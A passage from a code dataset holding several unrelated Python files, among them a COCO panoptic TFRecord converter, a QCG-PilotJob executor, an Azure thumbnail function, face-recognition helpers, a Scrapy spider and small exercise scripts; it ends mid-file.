annotation_file_name)\n\n\ndef _read_segments(coco_root: str, dataset_split: str):\n \"\"\"Reads segments information from json file.\n\n Args:\n coco_root: String, path to coco dataset root folder.\n dataset_split: String, dataset split.\n\n Returns:\n segments_dict: A dictionary that maps file prefix of annotation_file_name to\n a tuple of (panoptic annotation file name, segments). Please refer to\n _generate_panoptic_label() method on the detail structure of `segments`.\n\n Raises:\n ValueError: If found duplicated image id in annotations.\n \"\"\"\n json_filename = os.path.join(\n coco_root, _FOLDERS_MAP[dataset_split]['label'],\n 'panoptic_%s2017.json' % dataset_split)\n with tf.io.gfile.GFile(json_filename) as f:\n panoptic_dataset = json.load(f)\n\n segments_dict = {}\n for annotation in panoptic_dataset['annotations']:\n image_id = annotation['image_id']\n if image_id in segments_dict:\n raise ValueError('Image ID %s already exists' % image_id)\n annotation_file_name = annotation['file_name']\n segments = annotation['segments_info']\n\n segments_dict[os.path.splitext(annotation_file_name)[-2]] = (\n annotation_file_name, segments)\n\n return segments_dict\n\n\ndef _generate_panoptic_label(panoptic_annotation_file: str, segments:\n Any) -> np.ndarray:\n \"\"\"Creates panoptic label map from annotations.\n\n Args:\n panoptic_annotation_file: String, path to panoptic annotation.\n segments: A list of dictionaries containing information of every segment.\n Read from panoptic_${DATASET_SPLIT}2017.json. This method consumes\n the following fields in each dictionary:\n - id: panoptic id\n - category_id: semantic class id\n - area: pixel area of this segment\n - iscrowd: if this segment is crowd region\n\n Returns:\n A 2D numpy int32 array with the same height / width with panoptic\n annotation. Each pixel value represents its panoptic ID. Please refer to\n g3doc/setup/coco.md for more details about how panoptic ID is assigned.\n \"\"\"\n with tf.io.gfile.GFile(panoptic_annotation_file, 'rb') as f:\n panoptic_label = data_utils.read_image(f.read())\n\n if panoptic_label.mode != 'RGB':\n raise ValueError('Expect RGB image for panoptic label, gets %s' %\n panoptic_label.mode)\n\n panoptic_label = np.array(panoptic_label, dtype=np.int32)\n # COCO panoptic map is created by:\n # color = [segmentId % 256, segmentId // 256, segmentId // 256 // 256]\n panoptic_label = np.dot(panoptic_label, [1, 256, 256 * 256])\n\n semantic_label = np.ones_like(panoptic_label) * _IGNORE_LABEL\n instance_label = np.zeros_like(panoptic_label)\n # Running count of instances per semantic category.\n instance_count = collections.defaultdict(int)\n\n for segment in segments:\n selected_pixels = panoptic_label == segment['id']\n pixel_area = np.sum(selected_pixels)\n if pixel_area != segment['area']:\n raise ValueError('Expect %d pixels for segment %s, gets %d.' %\n (segment['area'], segment, pixel_area))\n\n category_id = segment['category_id']\n\n # Map the category_id to contiguous ids\n category_id = _CLASS_MAPPING[category_id]\n\n semantic_label[selected_pixels] = category_id\n\n if category_id in _CLASS_HAS_INSTANCE_LIST:\n if segment['iscrowd']:\n # COCO crowd pixels will have instance ID of 0.\n if FLAGS.treat_crowd_as_ignore:\n semantic_label[selected_pixels] = _IGNORE_LABEL\n continue\n # Non-crowd pixels will have instance ID starting from 1.\n instance_count[category_id] += 1\n if instance_count[category_id] >= _PANOPTIC_LABEL_DIVISOR:\n raise ValueError('Too many instances for category %d in this image.' %\n category_id)\n instance_label[selected_pixels] = instance_count[category_id]\n elif segment['iscrowd']:\n raise ValueError('Stuff class should not have `iscrowd` label.')\n\n panoptic_label = semantic_label * _PANOPTIC_LABEL_DIVISOR + instance_label\n return panoptic_label.astype(np.int32)\n\n\ndef _create_panoptic_label(coco_root: str, dataset_split: str, image_path: str,\n segments_dict: Any\n ) -> Tuple[str, str]:\n \"\"\"Creates labels for panoptic segmentation.\n\n Args:\n coco_root: String, path to coco dataset root folder.\n dataset_split: String, dataset split ('train', 'val', 'test').\n image_path: String, path to the image file.\n segments_dict:\n Read from panoptic_${DATASET_SPLIT}2017.json. This method consumes\n the following fields in each dictionary:\n - id: panoptic id\n - category_id: semantic class id\n - area: pixel area of this segment\n - iscrowd: if this segment is crowd region\n\n Returns:\n A panoptic label where each pixel value represents its panoptic ID.\n Please refer to g3doc/setup/coco.md for more details about howpanoptic ID\n is assigned.\n A string indicating label format in TFRecord.\n \"\"\"\n\n image_path = os.path.normpath(image_path)\n path_list = image_path.split(os.sep)\n file_name = path_list[-1]\n\n annotation_file_name, segments = segments_dict[\n os.path.splitext(file_name)[-2]]\n panoptic_annotation_file = _get_panoptic_annotation(coco_root,\n dataset_split,\n annotation_file_name)\n\n panoptic_label = _generate_panoptic_label(panoptic_annotation_file, segments)\n return panoptic_label.tostring(), _PANOPTIC_LABEL_FORMAT\n\n\ndef _convert_dataset(coco_root: str, dataset_split: str,\n output_dir: str) -> None:\n \"\"\"Converts the specified dataset split to TFRecord format.\n\n Args:\n coco_root: String, path to coco dataset root folder.\n dataset_split: String, the dataset split (one of `train`, `val` and `test`).\n output_dir: String, directory to write output TFRecords to.\n \"\"\"\n image_files = _get_images(coco_root, dataset_split)\n\n num_images = len(image_files)\n\n if dataset_split != 'test':\n segments_dict = _read_segments(coco_root, dataset_split)\n\n num_per_shard = int(math.ceil(len(image_files) / _NUM_SHARDS))\n\n for shard_id in range(_NUM_SHARDS):\n shard_filename = '%s-%05d-of-%05d.tfrecord' % (\n dataset_split, shard_id, _NUM_SHARDS)\n output_filename = os.path.join(output_dir, shard_filename)\n with tf.io.TFRecordWriter(output_filename) as tfrecord_writer:\n start_idx = shard_id * num_per_shard\n end_idx = min((shard_id + 1) * num_per_shard, num_images)\n for i in range(start_idx, end_idx):\n # Read the image.\n with tf.io.gfile.GFile(image_files[i], 'rb') as f:\n image_data = f.read()\n\n if dataset_split == 'test':\n label_data, label_format = None, None\n else:\n label_data, label_format = _create_panoptic_label(\n coco_root, dataset_split, image_files[i], segments_dict)\n\n # Convert to tf example.\n image_path = os.path.normpath(image_files[i])\n path_list = image_path.split(os.sep)\n file_name = path_list[-1]\n file_prefix = os.path.splitext(file_name)[0]\n example = data_utils.create_tfexample(image_data,\n 'jpeg',\n file_prefix, label_data,\n label_format)\n\n tfrecord_writer.write(example.SerializeToString())\n\n\ndef main(unused_argv: Sequence[str]) -> None:\n tf.io.gfile.makedirs(FLAGS.output_dir)\n\n for dataset_split in ('train', 'val', 'test'):\n logging.info('Starts processing dataset split %s.', dataset_split)\n _convert_dataset(FLAGS.coco_root, dataset_split, FLAGS.output_dir)\n\n\nif __name__ == '__main__':\n flags.mark_flags_as_required(['coco_root', 'output_dir'])\n app.run(main)\n","sub_path":"data/build_coco_data.py","file_name":"build_coco_data.py","file_ext":"py","file_size_in_byte":10955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"427616898","text":"from django.shortcuts import get_object_or_404, render\n\nfrom soloist.apps.portals.models import PortalClientsAll, PortalsAll\n\n\ndef categories(request, pa_code, pca_code):\n portal = get_object_or_404(PortalsAll, pa_code=pa_code)\n client = get_object_or_404(PortalClientsAll, pa_id=portal.pa_id, pca_code=pca_code)\n category_list = client.clientcategoriesall_set.all()\n client_list = portal.portalclientsall_set.all()\n\n template = 'clients/categories.html'\n context = {\n 'category_list': category_list,\n 'client_list': client_list,\n 'portal': portal,\n 'client': client,\n }\n return render(request, template, context)\n","sub_path":"soloist/apps/clients/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"257158648","text":"import ast\nimport logging\nimport textwrap\nfrom concurrent.futures import Executor\nfrom enum import Enum\nfrom string import Template\nfrom typing import Tuple, Any, Dict, Callable, Union\n\nfrom qcg.pilotjob.api.job import Jobs\nfrom qcg.pilotjob.api.manager import LocalManager\nfrom qcg.pilotjob.executor_api.qcgpj_future import QCGPJFuture\n\n_logger = logging.getLogger(__name__)\n\n\nclass QCGPJExecutor(Executor):\n \"\"\"QCG-PilotJob Executor. It provides simplified interface for common uses of QCG-PilotJob\n\n Parameters\n ----------\n wd : str, optional\n Working directory where QCG-PilotJob manager should be started, by default it is\n a current directory\n resources : str, optional\n The resources to use. If specified forces usage of Local mode of QCG-PilotJob Manager.\n The format is compliant with the NODES format of QCG-PilotJob, i.e.:\n [node_name:]cores_on_node[,node_name2:cores_on_node][,...].\n Eg. to define 4 cores on an unnamed node use `resources=\"4\"`,\n to define 2 nodes: node_1 with 2 cores and node_2 with 3 cores, use `resources=\"node_1:2,node_2:3\"`\n reserve_core : bool, optional\n If True reserves a core for QCG-PilotJob Manager instance,\n by default QCG-PilotJob Manager shares a core with computing tasks\n Parameters.\n enable_rt_stats : bool, optional\n If True, QCG-PilotJob Manager will collect its runtime statistics\n wrapper_rt_stats : str, optional\n The path to the QCG-PilotJob Manager tasks wrapper program used for collection of statistics\n log_level : str, optional\n Logging level for QCG-PilotJob Manager (for both service and client part).\n other_args : optional\n Optional list of additional arguments for initialisation of QCG-PilotJob Manager\n\n Returns\n -------\n None\n\n \"\"\"\n def __init__(self,\n wd=\".\",\n resources=None,\n reserve_core=False,\n enable_rt_stats=False,\n wrapper_rt_stats=None,\n log_level='info',\n *other_args\n ):\n\n self.finished = False\n\n # ---- QCG PILOT JOB INITIALISATION ---\n\n # Establish logging levels\n service_log_level, client_log_level = self._setup_qcgpj_logging(log_level)\n\n # Prepare input arguments for QCG-PJM\n\n args = ['--log', service_log_level,\n '--wd', wd]\n\n if resources:\n args.append('--nodes')\n args.append(str(resources))\n\n if reserve_core:\n args.append('--system-core')\n\n if enable_rt_stats:\n args.append('--enable-rt-stats')\n\n if wrapper_rt_stats:\n args.append('--wrapper-rt-stats')\n args.append(wrapper_rt_stats)\n\n if other_args:\n args.append(other_args)\n\n client_conf = {'log_file': wd + '/api.log', 'log_level': client_log_level}\n\n _logger.info(f'Starting QCG-PJ Manager with arguments: {args}')\n\n # create QCGPJ Manager (service part)\n self._qcgpjm = LocalManager(args, client_conf)\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n self.shutdown()\n\n def shutdown(self, wait=True):\n \"\"\"Shutdowns the QCG-PJ manager service. If it is already closed, the method has no effect.\n \"\"\"\n if not self.finished:\n self._qcgpjm.finish()\n self.finished = True\n else:\n pass\n\n def submit(self, fn: Callable[..., Union[str, Tuple[str, Dict[str, Any]]]], *args, **kwargs):\n \"\"\"Submits a specific task to the QCG-PJ manager using template-based, executor-like interface.\n\n Parameters\n ----------\n fn : Callable\n A callable that returns a tuple representing a task's template.\n The first element of the tuple should be a string containing\n a QCG-PilotJob task's description with placeholders\n (identifiers preceded by $ symbol) and the second a dictionary\n that assigns default values for selected placeholders.\n *args: variable length list with dicts, optional\n A set of dicts which contain parameters that will be used to substitute placeholders\n defined in the template.\n Note: *args overwrite defaults, but they are overwritten by **kwargs\n **kwargs: arbitrary keyword arguments\n A set of keyword arguments that will be used to substitute placeholders defined in\n the template.\n Note: **kwargs overwrite *args and defaults.\n\n Returns\n -------\n QCGPJFuture\n The QCGPJFuture object assigned with the submitted task\n\n \"\"\"\n template = fn()\n if isinstance(template, tuple):\n template_str = template[0]\n defaults = template[1]\n else:\n template_str = template\n defaults = {}\n\n t = Template(textwrap.dedent(template_str))\n\n substitutions = {}\n\n for a in args:\n if a is not None:\n substitutions.update(a)\n\n substitutions.update(kwargs)\n\n td_str = t.substitute(defaults, **substitutions)\n td = ast.literal_eval(td_str)\n if 'env' not in td['execution']:\n td['execution']['env'] = {}\n td['execution']['env']['QCG_PM_EXEC_API_JOB_ID'] = '${jname}'\n jobs = Jobs()\n jobs.add_std(td)\n jobs_ids = self._qcgpjm.submit(jobs)\n return QCGPJFuture(jobs_ids, self._qcgpjm)\n\n @property\n def qcgpj_manager(self):\n \"\"\"Returns current QCG-PilotJob manager instance\n \"\"\"\n return self._qcgpjm\n\n @staticmethod\n def _setup_qcgpj_logging(log_level):\n log_level = log_level.upper()\n\n try:\n service_log_level = ServiceLogLevel[log_level].value\n except KeyError:\n service_log_level = ServiceLogLevel.DEBUG.value\n\n try:\n client_log_level = ClientLogLevel[log_level].value\n except KeyError:\n client_log_level = ClientLogLevel.DEBUG.value\n\n return service_log_level, client_log_level\n\n\nclass ServiceLogLevel(Enum):\n CRITICAL = \"critical\"\n ERROR = \"error\"\n WARNING = \"warning\"\n INFO = \"info\"\n DEBUG = \"debug\"\n\n\nclass ClientLogLevel(Enum):\n INFO = \"info\"\n DEBUG = \"debug\"\n","sub_path":"components/executor_api/qcg/pilotjob/executor_api/qcgpj_executor.py","file_name":"qcgpj_executor.py","file_ext":"py","file_size_in_byte":6407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"188655170","text":"if __name__ == \"__main__\":\n\n N = int(input())\n names = [input() for x in range(N)]\n\n names.sort()\n\n Q = int(input())\n for q in range(Q):\n t = input()\n res = -1\n for i in range(N):\n if names[i] == t:\n res = (i+1)*sum([ord(x)-ord('A')+1 for x in t])\n break\n \n print(res)\n","sub_path":"ProjectEulerPlus/022-Names-Scores_20150622.py","file_name":"022-Names-Scores_20150622.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"393732019","text":"from tkinter import *\nimport Processing.tekna_kort\nimport tkinter.ttk as ttk\nimport Ingestion.streymmatari\nimport Ingestion.LV\nimport Ingestion.LV_Aldumátingar\nimport Strfbotni.strbotni\nimport Ingestion.oxygenkeda\n\nclass Window(Frame):\n def __init__(self, master=None):\n Frame.__init__(self, master)\n self.master = master\n Frame.pack(self, side=BOTTOM)\n self.init_window()\n\n def init_window(self):\n self.master.title(\"Fiskaaling Ingestion Engine\")\n self.pack(fill=BOTH, expand=1)\n main_frame = Frame(self, borderwidth=1)\n main_frame.pack(fill=BOTH, expand=False, side=TOP)\n\n @staticmethod\n def client_exit(self):\n exit()\n\n\ndef OnDoubleClick(event, tree):\n item = tree.identify('item', event.x, event.y)\n item = tree.item(item, \"text\")\n if item == 'Tekna Kort':\n Processing.tekna_kort.teknakort()\n elif item == 'Rokna quiver data':\n Ingestion.streymmatari.roknaQuiver(RightFrame, root)\n elif item == 'Veðurstøðir':\n Ingestion.LV.vedurstodirPlt(RightFrame, root)\n elif item == 'Rokna miðal streym':\n Ingestion.streymmatari.roknaMidalstreym(RightFrame, root)\n elif item == 'Countour plot':\n Strfbotni.strbotni.botnmatPlt(RightFrame, root)\n elif item == 'Aldumátingar':\n Ingestion.LV_Aldumátingar.Alduplt(RightFrame, root)\n else:\n Ingestion.oxygenkeda.check_click(item, RightFrame, root)\n\n\nglobal root\n# Teknar main gui\nroot = Tk()\nroot.geometry(\"1200x800\")\napp = Window(root)\n# Teknar vinstru frame (har instrumentini eru)\nIngestion_frame = Frame(app)\nIngestion_frame.pack(fill=BOTH, expand=True, side=LEFT, anchor=N)\nLabel(Ingestion_frame, text='Ingestion').pack(side=TOP)\n# Teknar høgru frame\nRightFrame = Frame(app)\nRightFrame.pack(fill=BOTH, expand=True, side=LEFT, anchor=N)\n\ningestion_subframe = Frame(Ingestion_frame)\ningestion_subframe.pack(fill=BOTH, expand=True, side=TOP, anchor=W)\n# Ger objekti ið inniheldur listan av instumentum\ningestion_listbox = ttk.Treeview(ingestion_subframe)\nscrollbar = Scrollbar(ingestion_subframe, orient=VERTICAL)\nscrollbar.config(command=ingestion_listbox.yview)\nscrollbar.pack(side=RIGHT, fill=Y)\n\n# Byrjar at fylla ting inní listan\n\ningestion_listbox.insert(\"\", 0, text='Tekna Kort')\nLV = ingestion_listbox.insert(\"\", 0, text='Landsverk')\n\nstreymmatingar_stationert = ingestion_listbox.insert(\"\", 0, text=\"RDI streymmátinar frá botni\")\n\n# Rudduligari máti at gera hettar uppá, ikki implementera allastaðni enn\nIngestion.streymmatari.init(ingestion_listbox)\nIngestion.oxygenkeda.init(ingestion_listbox)\n\nctd = ingestion_listbox.insert(\"\", 0, text='CTD')\nalduboya = ingestion_listbox.insert(\"\", 0, text='Alduboya')\n\ningestion_listbox.insert(ctd, \"end\", text='Les data frá CTD')\ningestion_listbox.insert(streymmatingar_stationert, \"end\", text='Countour plot')\ningestion_listbox.bind(\"\", lambda event, arg=ingestion_listbox: OnDoubleClick(event, arg))\n\ningestion_listbox.insert(LV, \"end\", text='Veðurstøðir')\ningestion_listbox.insert(LV, \"end\", text='Aldumátingar')\ningestion_listbox.insert(LV, \"end\", text='Vatnstøða')\n\n#ingestion_listbox.insert(END, 'Test')\ningestion_listbox.pack(fill=BOTH, expand=True, side=TOP, anchor=W)\n\n\nroot.mainloop()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"89955421","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import scoped_session, sessionmaker\nimport datetime\n\nengine = create_engine(\"sqlite:///database.sqlite3\")\ndb_session = scoped_session(\n sessionmaker(autocommit=False, autoflush=False, bind=engine)\n)\nBase = declarative_base()\nBase.query = db_session.query_property()\n\ndef init_db():\n # import all modules that might define models so they will be registered properly\n # on metadata - otherwise import them first before calling init_db()\n from models.gym import Gym, GymTime\n from models.daytime import DayTime\n from models.activity import Activity, Price, Amenity\n\n Base.metadata.drop_all(bind=engine)\n Base.metadata.create_all(bind=engine)\n\n gym_1 = Gym(name='Helen Newman', description='Something',\n location='North', image_url='something')\n db_session.add(gym_1)\n daytime_1 = DayTime(day=1, start_time=datetime.datetime.utcnow(\n ), end_time=datetime.datetime.utcnow(), restrictions='None', special_hours=True)\n db_session.add(daytime_1)\n db_session.commit()\n\n gymtime_1 = GymTime(daytime_id=daytime_1.id, gym_id=gym_1.id)\n db_session.add(gymtime_1)\n db_session.commit()\n\n activity_1 = Activity(\n name='Volleyball', details='It fun', image_url='None')\n db_session.add(activity_1)\n db_session.commit()\n\n # adding the gym Helen Newman to the activity Volleyball\n activity_1.gyms.append(gym_1)\n db_session.add(activity_1)\n db_session.commit()\n\n price_1 = Price(name=\"price1\", cost=20, one_time=False, image_url=\"none\", activity_id=activity_1.id)\n db_session.add(price_1)\n db_session.commit()\n activity_1.prices.append(price_1)\n db_session.add(activity_1)\n db_session.commit()\n\n price_2 = Price(name=\"price2\", cost=40, one_time=True, image_url=\"n/a\", activity_id = activity_1.id)\n db_session.add(price_2)\n db_session.commit()\n activity_1.prices.append(price_2)\n db_session.add(activity_1)\n db_session.commit()\n\n amenity_1 = Amenity(name=\"locker\", image_url=\"none\", activity_id=activity_1.id)\n db_session.add(amenity_1)\n db_session.commit()\n activity_1.amenities.append(amenity_1)\n db_session.add(activity_1)\n db_session.commit()\n\n gym_2 = Gym(name=\"Morrison\", description=\"Nicer\",\n location=\"North\", image_url=\"N/A\")\n db_session.add(gym_2)\n daytime_2 = DayTime(day=2, start_time=datetime.datetime.utcnow(\n ), end_time=datetime.datetime.utcnow(), restrictions=\"A few\", special_hours=False)\n db_session.add(daytime_2)\n db_session.commit()\n\n gymtime_2 = GymTime(daytime_id=daytime_2.id, gym_id=gym_2.id)\n db_session.add(gymtime_2)\n db_session.commit()\n\n activity_2 = Activity(name=\"Dancing\", details=\"more fun\", image_url=\"No\")\n db_session.add(activity_2)\n db_session.commit()\n\n activity_2.gyms.append(gym_1)\n activity_2.gyms.append(gym_2)\n db_session.add(activity_2)\n db_session.commit()\n\ndef merge():\n pass\n\n\n \n","sub_path":"src/app2/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"96396453","text":"import json\r\nimport logging\r\n\r\nimport azure.functions as func\r\nfrom azure.storage.blob import BlobServiceClient\r\nfrom ffmpy import FFmpeg\r\nimport subprocess\r\nimport os\r\n\r\n\r\ndef main(event: func.EventGridEvent, context: func.Context):\r\n\r\n ur = os.environ.get('VIDEO_STORAGE_ACCOUNT_URL')\r\n key = os.environ.get('VIDEO_STORAGE_ACCOUNT_API_KEY')\r\n\r\n longname = event.subject.split('/')[-1]\r\n name = longname.split('.')[0]\r\n\r\n if name:\r\n blob_service_client = BlobServiceClient(account_url=ur, credential=key)\r\n blob_client = blob_service_client.\\\r\n get_blob_client('video-input-container', longname)\r\n\r\n video_path = '/tmp/'\r\n video_file = os.path.join(video_path, name)\r\n thumbnail_path = '/tmp/thumbnails/'\r\n ff_exe = os.path.join(context.function_directory, 'ffmpeg')\r\n\r\n if not os.path.exists(video_path):\r\n os.mkdir(video_path)\r\n if not os.path.exists(thumbnail_path):\r\n os.mkdir(thumbnail_path)\r\n\r\n with open(video_file, \"wb\") as f:\r\n download_stream = blob_client.download_blob()\r\n f.write(download_stream.readall())\r\n\r\n subprocess.call(['chmod', '777', 'ffmpeg'])\r\n ff = FFmpeg(executable=ff_exe, inputs={video_file: None},\r\n outputs={thumbnail_path+name+'_%d.png': '-y -vf \"fps=1\"'})\r\n ff.run()\r\n\r\n for filename in os.listdir(thumbnail_path):\r\n if name in filename:\r\n with open(os.path.join(thumbnail_path, filename), 'rb') as f:\r\n blob_client = blob_service_client.\\\r\n get_blob_client('thumbnail-container', filename)\r\n blob_client.upload_blob(f, blob_type=\"BlockBlob\")\r\n\r\n logging.info('Success')\r\n\r\n logging.info('End of request')\r\n","sub_path":"t2.py","file_name":"t2.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"389485657","text":"import face_recognition\nimport cv2\nimport numpy as np\n\ndef normalize_frame(frame):\n h, w = frame.shape[:2]\n resized_frame = cv2.resize(frame, (300, 300))\n blob = cv2.dnn.blobFromImage(resized_frame, 1.0, (300, 300), (104.0, 177.0, 123.0))\n return resized_frame, blob, h, w\n\ndef convert_to_rgb(frame):\n rgb = frame[:, :, ::-1]\n return rgb\n\ndef detect_faces_in_frame(detection_model, blob):\n detection_model.setInput(blob)\n detections = detection_model.forward()\n face_locations = []\n for i in range(0, detections.shape[2]):\n confidence = detections[0, 0, i, 2]\n if confidence > 0.8:\n face_locations.append(detections[0, 0, i, 3:7])\n return np.array(face_locations)\n\ndef detect_faces_in_frame_cascade(detection_model, blob):\n frame_gray = cv2.cvtColor(blob, cv2.COLOR_BGR2GRAY)\n frame_gray = cv2.equalizeHist(frame_gray)\n faces = detection_model.detectMultiScale(frame_gray)\n face_locations = [(y, x+w, y+h, x) for (x, y, w, h) in faces]\n return np.array(face_locations)\n\ndef encode_faces_from_locations(frame, locations):\n encodings = face_recognition.face_encodings(frame, locations)\n return encodings\n\ndef identify_face_from_encoding(encoding_to_compare, threshold, stored_employee_encodings):\n encodings = stored_employee_encodings[:, 1:].astype(float)\n face_distances = face_recognition.face_distance(encodings, encoding_to_compare)\n # Create an array containing all the employee images and their corresponding distance\n encoding_distances = np.c_[ stored_employee_encodings[:, 0], face_distances ]\n # Get all the possible employee matches\n employees = np.unique(encoding_distances[:, 0])\n # Calculate the mean distance for each employee\n mean_distances = [np.mean(encoding_distances[np.where(encoding_distances[:, 0] == employee)][:, 1].astype(float))\n for employee in employees]\n employees_avg = np.c_[ employees, mean_distances ]\n\n # Get the minimum average distance\n minimum = employees_avg[np.argmin(employees_avg[:, 1])]\n # If the minimum distance is within the desired threshold then return the identified employee\n if float(minimum[1]) <= threshold:\n return True, minimum[0], minimum[1]\n return False, 'Unknown', minimum[1]\n ","sub_path":"src/face_recogniser_service.py","file_name":"face_recogniser_service.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"637901314","text":"#!/usr/bin/env python3\n\nfrom math import factorial\n\ndef memoize_factorial_sum(func):\n cache={}\n def inner(n, length=None):\n if n is not str:\n n=str(n)\n if not n in cache:\n cache[n]=func(n, length)\n return cache[n]\n return inner\n\n@memoize_factorial_sum\ndef factorial_sum(n, length=None):\n if n is not str:\n n=str(n)\n if not length:\n length=len(n)\n if length==1:\n return factorial(int(n))\n else:\n return factorial(int(n[0]))+factorial_sum(n[1:], length-1)\n\ndef memoize(func):\n cache={}\n def inner(n, prev):\n if not n in cache:\n cache[n]=func(n, prev)\n return cache[n]\n return inner\n\n#@memoize\ndef length_factorial_chain(n, previous):\n if n in previous:\n return 0\n else:\n previous.add(n)\n return 1+length_factorial_chain(factorial_sum(n), previous)\n\ndef main(length=60, upper=10**6):\n total=0\n for i in range(1,upper):\n if length_factorial_chain(i, set())==length:\n total+=1\n return total\n","sub_path":"euler/digit_factorial_chain_2.py","file_name":"digit_factorial_chain_2.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"470668402","text":"# -*- coding: utf-8 -*-\nfrom scrapy import Selector\n\nfrom base.bloom_redis.spiders import RedisSpider\nfrom base.items import BaseDetailItem, ARTICLE_TITLE, ARTICLE_CONTENT, ARTICLE_LINK\n\n\nclass HankcsDetailSpider(RedisSpider):\n name = \"hankcs_detail\"\n allowed_domains = [\"hankcs.com\"]\n start_urls = ['http://www.hankcs.com/ml/the-perceptron-learning-procedure.html']\n\n redis_key = 'hankcs'\n\n custom_settings = {\n 'ITEM_PIPELINES': {'manongchang.pipelines.ManongchangDetailPipeline': 300},\n 'SCHEDULER': 'base.bloom_redis.scheduler.Scheduler',\n 'SCHEDULER_PERSIST': True,\n 'SCHEDULER_QUEUE_CLASS': 'base.bloom_redis.queue.SpiderQueue',\n }\n\n def parse(self, response):\n hxs = Selector(response)\n item = BaseDetailItem()\n\n item['_id'] = response.url\n item['class_title'] = hxs.xpath('//div[@class=\"article-meta\"]//span[1]//a//text()').extract()\n item['article_title'] = hxs.xpath('//h1[@class=\"article-title\"]//a//text()').extract_first()\n item['publish_time'] = hxs.xpath('//div[@class=\"article-meta\"]//span[last()-3]//text()').extract_first()\n item['article_tag'] = item['class_title']\n\n article_title = hxs.xpath('//article[@class=\"article-content\"]//h2//text()').extract()\n article_content = hxs.xpath('//article[@class=\"article-content\"]//p//text()').extract()\n article_link = hxs.xpath('//article[@class=\"article-content\"]//p//img//@src').extract()\n\n article = hxs.xpath('//article[@class=\"article-content\"]//p//text() |'\n ' //article[@class=\"article-content\"]//h2//text() |'\n ' //article[@class=\"article-content\"]//p//img//@src').extract()\n\n article_type = []\n for content in article:\n if content in article_title:\n article_type.append(ARTICLE_TITLE)\n elif content in article_content:\n article_type.append(ARTICLE_CONTENT)\n elif content in article_link:\n article_type.append(ARTICLE_LINK)\n\n item['article_content'] = article\n item['article_type'] = article_type\n\n item['author'] = 'hankcs'\n item['author_id'] = 'hankcs'\n item['author_icon'] = hxs.xpath('//div[@class=\"logo\"]//a//img//@src').extract_first()\n\n yield item\n","sub_path":"manongchang/manongchang/spiders/hankcs_detail.py","file_name":"hankcs_detail.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"480116145","text":"#Regression Analisys\nimport math\nn = int(input(\"Type the number of values: \"))\nx = []\ny = []\ny_square = []\nx_square = []\nxy = []\nfor i in range(n):\n\tx_values = int(input(\"x[\"+str(i)+\"]: \"))\n\tx.append(x_values)\nfor i in range(n):\n\ty_values = int(input(\"y[\"+str(i)+\"]: \"))\n\ty.append(y_values)\nfor i in range(n):\n\tx_square.append(x[i]**2)\n\ty_square.append(y[i]**2)\n\txy.append(x[i]*y[i])\nprint(sum(x))\t\n#Determine r\nprint(\"Sum x: \"+str(sum(x)) + \" \\nSum y: \"+ str(sum(y)) + \" \\nSum y square: \"+ str(sum(y_square)) + \"\\nSum x square: \"+str(sum(x_square))+\"\\nSum xy: \" + str(sum(xy)))\nr = (n*(sum(xy)) - sum(x)*sum(y))/(math.sqrt((n*sum(x_square) - sum(x)**2)*((n*sum(y_square) - sum(y)**2))))\nprint(\"\\n r: \" +str(r))\nb = (n*(sum(xy)) - sum(x)*sum(y))/((n*sum(x_square) - sum(x)**2))\nprint(\"\\nb: \" +str(b))\na = sum(y)/n - b*sum(x)/n\nprint(\"\\na: \" +str(a))\n","sub_path":"regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"181737451","text":"\n\nfrom gensim.models import Doc2Vec\n# text = ''\n# with open('wiki.id.non_case.text') as file:\n# text = file.read()\n# file.close()\n# # import pdb\n# # pdb.set_trace()\n# sentences = text\nfrom gensim.models.doc2vec import LabeledSentence\n\nfilename = 'wiki.id.non_case.text'\n\n\nclass LabeledLineSentence(object):\n def __init__(self, filename):\n self.filename = filename\n\n def __iter__(self):\n for uid, line in enumerate(open(filename)):\n # import pdb\n # pdb.set_trace()\n # yield LabeledSentence(words=line.split(), labels=['SENT_%s' % uid])\n yield LabeledSentence(words=line.split(), tags=['SENT_%s' % uid])\n\nsentences = LabeledLineSentence('wiki.id.non_case.text')\n\n# import pdb\n# pdb.set_trace()\n\nmodel = Doc2Vec(vector_size=300, window=10, min_count=5, workers=11,alpha=0.025, min_alpha=0.025) # use fixed learning rate\nmodel.build_vocab(sentences)\nfor epoch in range(10):\n model.train(sentences, epochs=model.iter, total_examples=model.corpus_count)\n model.alpha -= 0.002 # decrease the learning rate\n model.min_alpha = model.alpha # fix the learning rate, no decay\n\nmodel.save('my_model.doc2vec')","sub_path":"code/train_doc2vec.py","file_name":"train_doc2vec.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"381268428","text":"\"\"\"\nleetcode 347 前k个高频元素\n给定一个非空的整数数组,返回其中出现频率前 k 高的元素。\n\"\"\"\n\n\nclass Solution:\n def topKFrequent(self, nums: List[int], k: int) -> 